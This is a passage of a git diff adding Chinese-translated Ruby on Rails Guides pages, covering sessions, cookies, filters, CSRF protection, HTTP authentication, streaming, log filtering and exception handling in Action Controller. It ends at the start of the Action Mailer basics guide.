多数存储机制都会使用这个 ID 在服务器中查询会话数据,例如在数据库中查询。不过有个例外,即默认也是推荐使用的存储方式——CookieStore。这种机制把所有会话数据都存储在 cookie 中(如果需要,还是可以访问 ID)。CookieStore 的优点是轻量,而且在新应用中使用会话也不用额外的设置。cookie 中存储的数据会使用密令签名,以防篡改。cookie 还会被加密,因此任何能访问 cookie 的人都无法读取其内容。(如果修改了 cookie,Rails 会拒绝使用。)

CookieStore 可以存储大约 4KB 数据,比其他几种存储机制少很多,但一般也够用了。不管使用哪种存储机制,都不建议在会话中存储大量数据。尤其要避免在会话中存储复杂的对象(Ruby 基本对象之外的一切对象,最常见的是模型实例),因为服务器可能无法在多次请求中重组数据,从而导致错误。

如果用户会话中不存储重要的数据,或者不需要持久存储(例如存储闪现消息),可以考虑使用 ActionDispatch::Session::CacheStore。这种存储机制使用应用所配置的缓存方式。CacheStore 的优点是,可以直接使用现有的缓存方式存储会话,不用额外设置。不过缺点也很明显:会话存在时间很短,随时可能消失。

关于会话存储的更多信息,参阅Ruby on Rails 安全指南

如果想使用其他会话存储机制,可以在 config/initializers/session_store.rb 文件中修改:

+
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rails g active_record:session_migration")
+# Rails.application.config.session_store :active_record_store
+
+
+
+

签署会话数据时,Rails 会用到会话的键(cookie 的名称)。这个值可以在 config/initializers/session_store.rb 中修改:

+
+# Be sure to restart your server when you modify this file.
+Rails.application.config.session_store :cookie_store, key: '_your_app_session'
+
+
+
+

还可以传入 :domain 键,指定可使用此 cookie 的域名:

+
+# Be sure to restart your server when you modify this file.
+Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+
+
+
+

Rails 为 CookieStore 提供了一个密钥,用于签署会话数据。这个密钥可以在 config/secrets.yml 文件中修改:

+
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rails secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+  secret_key_base: a75d...
+
+test:
+  secret_key_base: 492f...
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+
+
+
+

使用 CookieStore 时,如果修改了密钥,之前所有的会话都会失效。

5.1 访问会话

在控制器中,可以通过实例方法 session 访问会话。

会话是惰性加载的。如果在动作中不访问,不会自动加载。因此任何时候都无需禁用会话,不访问即可。

会话中的数据以键值对的形式存储,与散列类似:

+
+class ApplicationController < ActionController::Base
+
+  private
+
+  # 使用会话中 :current_user_id  键存储的 ID 查找用户
+  # Rails 应用经常这样处理用户登录
+  # 登录后设定这个会话值,退出后删除这个会话值
+  def current_user
+    @_current_user ||= session[:current_user_id] &&
+      User.find_by(id: session[:current_user_id])
+  end
+end
+
+
+
+

若想把数据存入会话,像散列一样,给键赋值即可:

+
+class LoginsController < ApplicationController
+  # “创建”登录,即“登录用户”
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # 把用户的 ID 存储在会话中,以便后续请求使用
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+
+
+
+

若想从会话中删除数据,把键的值设为 nil 即可:

+
+class LoginsController < ApplicationController
+  # “删除”登录,即“退出用户”
+  def destroy
+    # 从会话中删除用户的 ID
+    @_current_user = session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+
+
+
+

若想重设整个会话,使用 reset_session 方法。

5.2 闪现消息

闪现消息是会话的一个特殊部分,每次请求都会清空。也就是说,其中存储的数据只能在下次请求时使用,因此可用于传递错误消息等。

闪现消息的访问方式与会话差不多,类似于散列。(闪现消息是 FlashHash 实例。)

下面以退出登录为例。控制器可以发送一个消息,在下次请求时显示:

+
+class LoginsController < ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out."
+    redirect_to root_url
+  end
+end
+
+
+
+

注意,重定向也可以设置闪现消息。可以指定 :notice:alert 或者常规的 :flash

+
+redirect_to root_url, notice: "You have successfully logged out."
+redirect_to root_url, alert: "You're stuck here!"
+redirect_to root_url, flash: { referral_code: 1234 }
+
+
+
+

上例中,destroy 动作重定向到应用的 root_url,然后显示那个闪现消息。注意,只有下一个动作才能处理前一个动作设置的闪现消息。一般会在应用的布局中加入显示警告或提醒消息的代码:

+
+<html>
+  <!-- <head/> -->
+  <body>
+    <% flash.each do |name, msg| -%>
+      <%= content_tag :div, msg, class: name %>
+    <% end -%>
+
+    <!-- more content -->
+  </body>
+</html>
+
+
+
+

如此一來,如果动作中设置了警告或提醒消息,就会出现在布局中。

闪现消息不局限于警告和提醒,可以设置任何可在会话中存储的内容:

+
+<% if flash[:just_signed_up] %>
+  <p class="welcome">Welcome to our site!</p>
+<% end %>
+
+
+
+

如果希望闪现消息保留到其他请求,可以使用 keep 方法:

+
+class MainController < ApplicationController
+  # 假设这个动作对应 root_url,但是想把针对这个
+  # 动作的请求都重定向到 UsersController#index。
+  # 如果是从其他动作重定向到这里的,而且那个动作
+  # 设定了闪现消息,通常情况下,那个闪现消息会丢失。
+  # 但是我们可以使用 keep 方法,将其保留到下一个请求。
+  def index
+    # 持久存储所有闪现消息
+    flash.keep
+
+    # 还可以指定一个键,只保留某种闪现消息
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+
+
+
+
5.2.1 flash.now +

默认情况下,闪现消息中的内容只在下一次请求中可用,但有时希望在同一个请求中使用。例如,create 动作没有成功保存资源时,会直接渲染 new 模板,这并不是一个新请求,但却希望显示一个闪现消息。针对这种情况,可以使用 flash.now,其用法和常规的 flash 一样:

+
+class ClientsController < ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render action: "new"
+    end
+  end
+end
+
+
+
+

6 cookies

应用可以在客户端存储少量数据(称为 cookie),在多次请求中使用,甚至可以用作会话。在 Rails 中可以使用 cookies 方法轻易访问 cookie,用法和 session 差不多,就像一个散列:

+
+class CommentsController < ApplicationController
+  def new
+    # 如果 cookie 中存有评论者的名字,自动填写
+    @comment = Comment.new(author: cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # 记住评论者的名字
+        cookies[:commenter_name] = @comment.author
+      else
+        # 从 cookie 中删除评论者的名字(如果有的话)
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render action: "new"
+    end
+  end
+end
+
+
+
+

注意,删除会话中的数据是把键的值设为 nil,但若想删除 cookie 中的值,要使用 cookies.delete(:key) 方法。

Rails 还提供了签名 cookie 和加密 cookie,用于存储敏感数据。签名 cookie 会在 cookie 的值后面加上一个签名,确保值没被修改。加密 cookie 除了做签名之外,还会加密,让终端用户无法读取。详情参阅 API 文档

这两种特殊的 cookie 会序列化签名后的值,生成字符串,读取时再反序列化成 Ruby 对象。

序列化所用的方式可以指定:

+
+Rails.application.config.action_dispatch.cookies_serializer = :json
+
+
+
+

新应用默认的序列化方式是 :json。为了兼容旧应用的 cookie,如果没设定 cookies_serializer 选项,会使用 :marshal

这个选项还可以设为 :hybrid,读取时,Rails 会自动反序列化使用 Marshal 序列化的 cookie,写入时使用 JSON 格式。把现有应用迁移到使用 :json 序列化方式时,这么设定非常方便。

序列化方式还可以使用其他方式,只要定义了 loaddump 方法即可:

+
+Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+
+
+
+

使用 :json:hybrid 方式时,要知道,不是所有 Ruby 对象都能序列化成 JSON。例如,DateTime 对象序列化成字符串,而散列的键会变成字符串。

+
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+
+
+
+

建议只在 cookie 中存储简单的数据(字符串和数字)。如果不得不存储复杂的对象,在后续请求中要自行负责转换。

如果使用 cookie 存储会话,sessionflash 散列也是如此。

7 渲染 XML 和 JSON 数据

ActionController 中渲染 XMLJSON 数据非常简单。使用脚手架生成的控制器如下所示:

+
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    respond_to do |format|
+      format.html # index.html.erb
+      format.xml  { render xml: @users}
+      format.json { render json: @users}
+    end
+  end
+end
+
+
+
+

你可能注意到了,在这段代码中,我们使用的是 render xml: @users 而不是 render xml: @users.to_xml。如果不是字符串对象,Rails 会自动调用 to_xml 方法。

8 过滤器

过滤器(filter)是一种方法,在控制器动作运行之前、之后,或者前后运行。

过滤器会继承,如果在 ApplicationController 中定义了过滤器,那么应用的每个控制器都可使用。

前置过滤器有可能会终止请求循环。前置过滤器经常用于确保动作运行之前用户已经登录。这种过滤器可以像下面这样定义:

+
+class ApplicationController < ActionController::Base
+  before_action :require_login
+
+  private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+end
+
+
+
+

如果用户没有登录,这个方法会在闪现消息中存储一个错误消息,然后重定向到登录表单页面。如果前置过滤器渲染了页面或者做了重定向,动作就不会运行。如果动作上还有后置过滤器,也不会运行。

在上面的例子中,过滤器在 ApplicationController 中定义,所以应用中的所有控制器都会继承。此时,应用中的所有页面都要求用户登录后才能访问。很显然(这样用户根本无法登录),并不是所有控制器或动作都要做这种限制。如果想跳过某个动作,可以使用 skip_before_action

+
+class LoginsController < ApplicationController
+  skip_before_action :require_login, only: [:new, :create]
+end
+
+
+
+

此时,LoginsControllernew 动作和 create 动作就不需要用户先登录。:only 选项的意思是只跳过这些动作。此外,还有个 :except 选项,用法类似。定义过滤器时也可使用这些选项,指定只在选中的动作上运行。

8.1 后置过滤器和环绕过滤器

除了前置过滤器之外,还可以在动作运行之后,或者在动作运行前后执行过滤器。

后置过滤器类似于前置过滤器,不过因为动作已经运行了,所以可以获取即将发送给客户端的响应数据。显然,后置过滤器无法阻止运行动作。

环绕过滤器会把动作拉入(yield)过滤器中,工作方式类似 Rack 中间件。

假如网站的改动需要经过管理员预览,然后批准。可以把这些操作定义在一个事务中:

+
+class ChangesController < ApplicationController
+  around_action :wrap_in_transaction, only: :show
+
+  private
+
+  def wrap_in_transaction
+    ActiveRecord::Base.transaction do
+      begin
+        yield
+      ensure
+        raise ActiveRecord::Rollback
+      end
+    end
+  end
+end
+
+
+
+

注意,环绕过滤器还包含了渲染操作。在上面的例子中,视图本身是从数据库中读取出来的(例如,通过作用域),读取视图的操作在事务中完成,然后提供预览数据。

也可以不拉入动作,自己生成响应,不过此时动作不会运行。

8.2 过滤器的其他用法

一般情况下,过滤器的使用方法是定义私有方法,然后调用相应的 *_action 方法添加过滤器。不过过滤器还有其他两种用法。

第一种,直接在 *_action 方法中使用代码块。代码块接收控制器作为参数。使用这种方式,前面的 require_login 过滤器可以改写成:

+
+class ApplicationController < ActionController::Base
+  before_action do |controller|
+    unless controller.send(:logged_in?)
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url
+    end
+  end
+end
+
+
+
+

注意,此时在过滤器中使用的是 send 方法,因为 logged_in? 是私有方法,而过滤器和控制器不在同一个作用域内。定义 require_login 过滤器不推荐使用这种方式,但是比较简单的过滤器可以这么做。

第二种,在类(其实任何能响应正确方法的对象都可以)中定义过滤器。这种方式用于实现复杂的过滤器,使用前面的两种方式无法保证代码可读性和重用性。例如,可以在一个类中定义前面的 require_login 过滤器:

+
+class ApplicationController < ActionController::Base
+  before_action LoginFilter
+end
+
+class LoginFilter
+  def self.before(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = "You must be logged in to access this section"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+
+
+
+

这种方式也不是定义 require_login 过滤器的理想方式,因为与控制器不在同一作用域,要把控制器作为参数传入。定义过滤器的类,必须有一个和过滤器种类同名的方法。对于 before_action 过滤器,类中必须定义 before 方法。其他类型的过滤器以此类推。around 方法必须调用 yield 方法执行动作。

9 请求伪造防护

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种攻击方式,A 网站的用户伪装成 B 网站的用户发送请求,在 B 站中添加、修改或删除数据,而 B 站的用户浑然不知。

防止这种攻击的第一步是,确保所有破坏性动作(createupdatedestroy)只能通过 GET 之外的请求方法访问。如果遵从 REST 架构,已经做了这一步。不过,恶意网站还是可以轻易地发起非 GET 请求,这时就要用到其他跨站攻击防护措施了。

防止跨站攻击的方式是,在各个请求中添加一个只有服务器才知道的难以猜测的令牌。如果请求中没有正确的令牌,服务器会拒绝访问。

如果使用下面的代码生成一个表单:

+
+<%= form_for @user do |f| %>
+  <%= f.text_field :username %>
+  <%= f.text_field :password %>
+<% end %>
+
+
+
+

会看到 Rails 自动添加了一个隐藏字段,用于设定令牌:

+
+<form accept-charset="UTF-8" action="http://github.com/users/1" method="post">
+<input type="hidden"
+       value="67250ab105eb5ad10851c00a5621854a23af5489"
+       name="authenticity_token"/>
+<!-- fields -->
+</form>
+
+
+
+

使用表单辅助方法生成的所有表单都有这样一个令牌,因此多数时候你都无需担心。如果想自己编写表单,或者基于其他原因想添加令牌,可以使用 form_authenticity_token 方法。

form_authenticity_token 会生成一个有效的令牌。在 Rails 没有自动添加令牌的地方(例如 Ajax)可以使用这个方法。

Ruby on Rails 安全指南将更为深入地说明请求伪造防护措施,还有一些开发 Web 应用需要知道的其他安全隐患。

10 请求和响应对象

在每个控制器中都有两个存取方法,分别用于获取当前请求循环的请求对象和响应对象。request 方法的返回值是一个 ActionDispatch::Request 实例,response 方法的返回值是一个响应对象,表示回送客户端的数据。

10.1 request 对象

request 对象中有很多客户端请求的有用信息。可用方法的完整列表参阅 API 文档。下面说明部分属性:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
request 对象的属性作用
host请求的主机名
domain(n=2)主机名的前 n 个片段,从顶级域名的右侧算起
format客户端请求的内容类型
method请求使用的 HTTP 方法
get?, post?, patch?, put?, delete?, head?如果 HTTP 方法是 GET/POST/PATCH/PUT/DELETE/HEAD,返回 true
headers返回一个散列,包含请求的首部
port请求的端口号(整数)
protocol返回所用的协议外加 "://",例如 "http://"
query_stringURL 中的查询字符串,即 ? 后面的全部内容
remote_ip客户端的 IP 地址
url请求的完整 URL
+
10.1.1 path_parametersquery_parametersrequest_parameters +

不管请求中的参数通过查询字符串发送,还是通过 POST 主体提交,Rails 都会把这些参数存入 params 散列中。request 对象有三个存取方法,用于获取各种类型的参数。query_parameters 散列中的参数来自查询参数;request_parameters 散列中的参数来自 POST 主体;path_parameters 散列中的参数来自路由,传入相应的控制器和动作。

10.2 response 对象

response 对象通常不直接使用。response 对象在动作的执行过程中构建,把渲染的数据回送给用户。不过有时可能需要直接访问响应,比如在后置过滤器中。response 对象上的方法有些可以用于赋值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
response 对象的属性作用
body回送客户端的数据,字符串格式。通常是 HTML。
status响应的 HTTP 状态码,例如,请求成功时是 200,文件未找到时是 404。
location重定向的 URL(如果重定向的话)。
content_type响应的内容类型。
charset响应使用的字符集。默认是 "utf-8"。
headers响应的首部。
+
10.2.1 设置自定义首部

如果想设置自定义首部,可以使用 response.headers 方法。headers 属性是一个散列,键为首部名,值为首部的值。Rails 会自动设置一些首部。如果想添加或者修改首部,赋值给 response.headers 即可,例如:

+
+response.headers["Content-Type"] = "application/pdf"
+
+
+
+

注意,上面这段代码直接使用 content_type= 方法更合理。

11 HTTP 身份验证

Rails 内置了两种 HTTP 身份验证机制:

+
    +
  • 基本身份验证

  • +
  • 摘要身份验证

  • +
+

11.1 HTTP 基本身份验证

大多数浏览器和 HTTP 客户端都支持 HTTP 基本身份验证。例如,在浏览器中如果要访问只有管理员才能查看的页面,会出现一个对话框,要求输入用户名和密码。使用内置的这种身份验证非常简单,只要使用一个方法,即 http_basic_authenticate_with

+
+class AdminsController < ApplicationController
+  http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
+end
+
+
+
+

添加 http_basic_authenticate_with 方法后,可以创建具有命名空间的控制器,继承自 AdminsControllerhttp_basic_authenticate_with 方法会在这些控制器的所有动作运行之前执行,启用 HTTP 基本身份验证。

11.2 HTTP 摘要身份验证

HTTP 摘要身份验证比基本验证高级,因为客户端不会在网络中发送明文密码(不过在 HTTPS 中基本验证是安全的)。在 Rails 中使用摘要验证非常简单,只需使用一个方法,即 authenticate_or_request_with_http_digest

+
+class AdminsController < ApplicationController
+  USERS = { "lifo" => "world" }
+
+  before_action :authenticate
+
+  private
+
+    def authenticate
+      authenticate_or_request_with_http_digest do |username|
+        USERS[username]
+      end
+    end
+end
+
+
+
+

如上面的代码所示,authenticate_or_request_with_http_digest 方法的块只接受一个参数,用户名,返回值是密码。如果 authenticate_or_request_with_http_digest 返回 falsenil,表明身份验证失败。

12 数据流和文件下载

有时不想渲染 HTML 页面,而是把文件发送给用户。在所有的控制器中都可以使用 send_datasend_file 方法。这两个方法都会以数据流的方式发送数据。send_file 方法很方便,只要提供磁盘中文件的名称,就会用数据流发送文件内容。

若想把数据以流的形式发送给客户端,使用 send_data 方法:

+
+require "prawn"
+class ClientsController < ApplicationController
+  # 使用客户信息生成一份 PDF 文档
+  # 然后返回文档,让用户下载
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data generate_pdf(client),
+              filename: "#{client.name}.pdf",
+              type: "application/pdf"
+  end
+
+  private
+
+    def generate_pdf(client)
+      Prawn::Document.new do
+        text client.name, align: :center
+        text "Address: #{client.address}"
+        text "Email: #{client.email}"
+      end.render
+    end
+end
+
+
+
+

在上面的代码中,download_pdf 动作调用一个私有方法,生成 PDF 文档,然后返回字符串形式。返回的字符串会以数据流的形式发送给客户端,并为用户推荐一个文件名。有时发送文件流时,并不希望用户下载这个文件,比如嵌在 HTML 页面中的图像。若想告诉浏览器文件不是用来下载的,可以把 :disposition 选项设为 "inline"。这个选项的另外一个值,也是默认值,是 "attachment"

12.1 发送文件

如果想发送磁盘中已经存在的文件,可以使用 send_file 方法。

+
+class ClientsController < ApplicationController
+  # 以流的形式发送磁盘中现有的文件
+  def download_pdf
+    client = Client.find(params[:id])
+    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+              filename: "#{client.name}.pdf",
+              type: "application/pdf")
+  end
+end
+
+
+
+

send_file 一次只发送 4kB,而不是把整个文件都写入内存。如果不想使用数据流方式,可以把 :stream 选项设为 false。如果想调整数据块大小,可以设置 :buffer_size 选项。

如果没有指定 :type 选项,Rails 会根据 :filename 的文件扩展名猜测。如果没有注册扩展名对应的文件类型,则使用 application/octet-stream

要谨慎处理用户提交数据(参数、cookies 等)中的文件路径,这有安全隐患,可能导致不该下载的文件被下载了。

不建议通过 Rails 以数据流的方式发送静态文件,你可以把静态文件放在服务器的公共文件夹中。使用 Apache 或其他 Web 服务器下载效率更高,因为不用经由整个 Rails 栈处理。

12.2 REST 式下载

虽然可以使用 send_data 方法发送数据,但是在 REST 架构的应用中,单独为下载文件操作写个动作有些多余。在 REST 架构下,上例中的 PDF 文件可以视作一种客户资源。Rails 提供了一种更符合 REST 架构的文件下载方法。下面这段代码重写了前面的例子,把下载 PDF 文件的操作放到 show 动作中,不使用数据流:

+
+class ClientsController < ApplicationController
+  # 用户可以请求接收 HTML 或 PDF 格式的资源
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render pdf: generate_pdf(@client) }
+    end
+  end
+end
+
+
+
+

为了让这段代码能顺利运行,要把 PDF 的 MIME 类型加入 Rails。在 config/initializers/mime_types.rb 文件中加入下面这行代码即可:

+
+Mime::Type.register "application/pdf", :pdf
+
+
+
+

配置文件不会在每次请求中都重新加载,为了让改动生效,需要重启服务器。

现在,如果用户想请求 PDF 版本,只要在 URL 后加上 ".pdf" 即可:

+
+GET /clients/1.pdf
+
+
+
+

12.3 任意数据的实时流

在 Rails 中,不仅文件可以使用数据流的方式处理,在响应对象中,任何数据都可以视作数据流。ActionController::Live 模块可以和浏览器建立持久连接,随时随地把数据传送给浏览器。

12.3.1 使用实时流

ActionController::Live 模块引入控制器中后,所有的动作都可以处理数据流。你可以像下面这样引入那个模块:

+
+class MyController < ActionController::Base
+  include ActionController::Live
+
+  def stream
+    response.headers['Content-Type'] = 'text/event-stream'
+    100.times {
+      response.stream.write "hello world\n"
+      sleep 1
+    }
+  ensure
+    response.stream.close
+  end
+end
+
+
+
+

上面的代码会和浏览器建立持久连接,每秒一次,共发送 100 次 "hello world\n"

关于这段代码有一些注意事项。必须关闭响应流。如果忘记关闭,套接字就会一直处于打开状态。发送数据流之前,还要把内容类型设为 text/event-stream。这是因为在响应流上调用 writecommit 发送响应后(response.committed? 返回真值)就无法设置首部了。

12.3.2 使用举例

假设你在制作一个卡拉 OK 机,用户想查看某首歌的歌词。每首歌(Song)都有很多行歌词,每一行歌词都要花一些时间(num_beats)才能唱完。

如果按照卡拉 OK 机的工作方式,等上一句唱完才显示下一行,可以像下面这样使用 ActionController::Live

+
+class LyricsController < ActionController::Base
+  include ActionController::Live
+
+  def show
+    response.headers['Content-Type'] = 'text/event-stream'
+    song = Song.find(params[:id])
+
+    song.each do |line|
+      response.stream.write line.lyrics
+      sleep line.num_beats
+    end
+  ensure
+    response.stream.close
+  end
+end
+
+
+
+

在这段代码中,只有上一句唱完才会发送下一句歌词。

12.3.3 使用数据流的注意事项

以数据流的方式发送任意数据是个强大的功能,如前面几个例子所示,你可以选择何时发送什么数据。不过,在使用时,要注意以下事项:

+
    +
  • 每次以数据流形式发送响应都会新建一个线程,然后把原线程中的局部变量复制过来。线程中有太多局部变量会降低性能。而且,线程太多也会影响性能。

  • +
  • 忘记关闭响应流会导致套接字一直处于打开状态。使用响应流时一定要记得调用 close 方法。

  • +
  • WEBrick 会缓冲所有响应,因此引入 ActionController::Live 也不会有任何效果。你应该使用不自动缓冲响应的服务器。

  • +
+

13 日志过滤

Rails 在 log 文件夹中为每个环境都准备了一个日志文件。这些文件在调试时特别有用,但是线上应用并不用把所有信息都写入日志。

13.1 参数过滤

若想过滤特定的请求参数,禁止写入日志文件,可以在应用的配置文件中设置 config.filter_parameters 选项。过滤掉的参数在日志中显示为 [FILTERED]

+
+config.filter_parameters << :password
+
+
+
+

指定的参数通过部分匹配正则表达式过滤掉。Rails 默认在相应的初始化脚本(initializers/filter_parameter_logging.rb)中过滤 :password,以及应用中常见的 passwordpassword_confirmation 参数。

13.2 重定向过滤

有时需要从日志文件中过滤掉一些重定向的敏感数据,此时可以设置 config.filter_redirect 选项:

+
+config.filter_redirect << 's3.amazonaws.com'
+
+
+
+

过滤规则可以使用字符串、正则表达式,或者一个数组,包含字符串或正则表达式:

+
+config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]
+
+
+
+

匹配的 URL 会显示为 '[FILTERED]'

14 异常处理

应用很有可能出错,错误发生时会抛出异常,这些异常是需要处理的。例如,如果用户访问一个链接,但数据库中已经没有对应的资源了,此时 Active Record 会抛出 ActiveRecord::RecordNotFound 异常。

在 Rails 中,异常的默认处理方式是显示“500 Server Error”消息。如果应用在本地运行,出错后会显示一个精美的调用跟踪,以及其他附加信息,让开发者快速找到出错的地方,然后修正。如果应用已经上线,Rails 则会简单地显示“500 Server Error”消息;如果是路由错误或记录不存在,则显示“404 Not Found”。有时你可能想换种方式捕获错误,以不同的方式显示报错信息。在 Rails 中,有很多层异常处理,详解如下。

14.1 默认的 500 和 404 模板

默认情况下,生产环境中的应用出错时会显示 404 或 500 错误消息,在开发环境中则抛出未捕获的异常。错误消息在 public 文件夹里的静态 HTML 文件中,分别是 404.html500.html。你可以修改这两个文件,添加其他信息和样式,不过要记住,这两个是静态文件,不能使用 ERB、SCSS、CoffeeScript 或布局。

14.2 rescue_from +

捕获错误后如果想做更详尽的处理,可以使用 rescue_fromrescue_from 可以处理整个控制器及其子类中的某种(或多种)异常。

异常发生时,会被 rescue_from 捕获,异常对象会传入处理程序。处理程序可以是方法,也可以是 Proc 对象,由 :with 选项指定。也可以不用 Proc 对象,直接使用块。

下面的代码使用 rescue_from 截获所有 ActiveRecord::RecordNotFound 异常,然后做些处理。

+
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
+
+  private
+
+    def record_not_found
+      render plain: "404 Not Found", status: 404
+    end
+end
+
+
+
+

这段代码对异常的处理并不详尽,比默认的处理方式也没好多少。不过只要你能捕获异常,就可以做任何想做的处理。例如,可以新建一个异常类,当用户无权查看页面时抛出:

+
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, with: :user_not_authorized
+
+  private
+
+    def user_not_authorized
+      flash[:error] = "You don't have access to this section."
+      redirect_back(fallback_location: root_path)
+    end
+end
+
+class ClientsController < ApplicationController
+  # 检查是否授权用户访问客户信息
+  before_action :check_authorization
+
+  # 注意,这个动作无需关心任何身份验证操作
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+  private
+
+    # 如果用户没有授权,抛出异常
+    def check_authorization
+      raise User::NotAuthorized unless current_user.admin?
+    end
+end
+
+
+
+

如果没有特别的原因,不要使用 rescue_from Exceptionrescue_from StandardError,因为这会导致严重的副作用(例如,在开发环境中看不到异常详情和调用跟踪)。

在生产环境中,所有 ActiveRecord::RecordNotFound 异常都会导致渲染 404 错误页面。如果不想定制这一行为,无需处理这个异常。

某些异常只能在 ApplicationController 类中捕获,因为在异常抛出前控制器还没初始化,动作也没执行。

15 强制使用 HTTPS 协议

有时,基于安全考虑,可能希望某个控制器只能通过 HTTPS 协议访问。为了达到这一目的,可以在控制器中使用 force_ssl 方法:

+
+class DinnerController
+  force_ssl
+end
+
+
+
+

与过滤器类似,也可指定 :only:except 选项,设置只在某些动作上强制使用 HTTPS:

+
+class DinnerController
+  force_ssl only: :cheeseburger
+  # 或者
+  force_ssl except: :cheeseburger
+end
+
+
+
+

注意,如果你在很多控制器中都使用了 force_ssl,或许你想让整个应用都使用 HTTPS。此时,你可以在环境配置文件中设定 config.force_ssl 选项。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/action_mailer_basics.html b/v5.0/action_mailer_basics.html new file mode 100644 index 0000000..1a0f3e7 --- /dev/null +++ b/v5.0/action_mailer_basics.html @@ -0,0 +1,872 @@ + + + + + + + +Action Mailer 基础 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Action Mailer 基础

本文全面介绍如何在应用中收发邮件、Action Mailer 的内部机理,以及如何测试邮件程序(mailer)。

读完本文后,您将学到:

+
    +
  • 如何在 Rails 应用中收发邮件;

  • +
  • 如何生成及编辑 Action Mailer 类和邮件视图;

  • +
  • 如何配置 Action Mailer;

  • +
  • 如何测试 Action Mailer 类。

  • +
+ + + + +
+
+ +
+
+
+

1 简介

Rails 使用 Action Mailer 实现发送邮件功能,邮件由邮件程序和视图控制。邮件程序继承自 ActionMailer::Base,作用与控制器类似,保存在 app/mailers 文件夹中,对应的视图保存在 app/views 文件夹中。

2 发送邮件

本节逐步说明如何创建邮件程序及其视图。

2.1 生成邮件程序的步骤

2.1.1 创建邮件程序
+
+$ bin/rails generate mailer UserMailer
+create  app/mailers/user_mailer.rb
+create  app/mailers/application_mailer.rb
+invoke  erb
+create    app/views/user_mailer
+create    app/views/layouts/mailer.text.erb
+create    app/views/layouts/mailer.html.erb
+invoke  test_unit
+create    test/mailers/user_mailer_test.rb
+create    test/mailers/previews/user_mailer_preview.rb
+
+
+
+
+
+# app/mailers/application_mailer.rb
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout 'mailer'
+end
+
+# app/mailers/user_mailer.rb
+class UserMailer < ApplicationMailer
+end
+
+
+
+

如上所示,生成邮件程序的方法与使用其他生成器一样。邮件程序在某种程度上就是控制器。执行上述命令后,生成了一个邮件程序、一个视图文件夹和一个测试文件。

如果不想使用生成器,可以手动在 app/mailers 文件夹中新建文件,但要确保继承自 ActionMailer::Base

+
+class MyMailer < ActionMailer::Base
+end
+
+
+
+
2.1.2 编辑邮件程序

邮件程序和控制器类似,也有称为“动作”的方法,而且使用视图组织内容。控制器生成的内容,例如 HTML,发送给客户端;邮件程序生成的消息则通过电子邮件发送。

app/mailers/user_mailer.rb 文件中有一个空的邮件程序:

+
+class UserMailer < ApplicationMailer
+end
+
+
+
+

下面我们定义一个名为 welcome_email 的方法,向用户注册时填写的电子邮件地址发送一封邮件:

+
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email, subject: 'Welcome to My Awesome Site')
+  end
+end
+
+
+
+

下面简单说明一下这段代码。可用选项的详细说明请参见 Action Mailer 方法详解

+
    +
